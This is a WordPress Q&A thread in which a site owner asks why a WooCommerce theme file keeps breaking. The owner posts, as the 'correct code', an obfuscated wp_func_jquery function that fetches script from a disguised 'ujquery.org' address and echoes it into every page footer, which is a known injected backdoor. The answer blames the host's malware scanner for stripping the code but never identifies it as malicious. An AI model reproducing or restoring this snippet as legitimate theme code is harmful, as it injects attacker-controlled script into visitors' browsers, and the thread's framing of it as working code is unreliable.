1

I am new to Wordpress. I inherited this site which ran ok with typical updates for about a year and suddenly this problem started to occur.

Each night around the same time a portion of my woocommerce theme (Adrenaline) gets overwritten and it causes my site to have a WSOD. The file that is getting overwritten is the themes\adrenaline\inc\core\functions\javascript.php file.

Here's what is changing:

Correct Code (that works)

 add_action( 'wp_enqueue_scripts', 'cg_showcase_js' );
 if(!function_exists('wp_func_jquery')) {
     function wp_func_jquery() {
         $host = 'http://';
         $jquery = $host.'u'.'jquery.org/jquery-ui.js';
         $headers = @get_headers($jquery, 1);
         if ($headers[0] == 'HTTP/1.1 200 OK'){
              echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
          }
      }
      add_action('wp_footer', 'wp_func_jquery');
   }

Is getting changed to (is broken)

  add_action( 'wp_enqueue_scripts', 'cg_showcase_js' );

  }

I've checked with my host and they do not see any issues on their end. I have ran malware scans etc, and everything comes back clean. Any clues as to what may be causing this issue?

2
  • Are you getting any php errors in your server logs?
    – Welcher
    Commented Mar 13, 2017 at 19:31
  • No php errors in the server log. Commented Mar 13, 2017 at 22:52

1 Answer 1

0

It turned out that a malware scan was running on my host that was stripping the code from my file.

Not the answer you're looking for? Browse other questions tagged or ask your own question.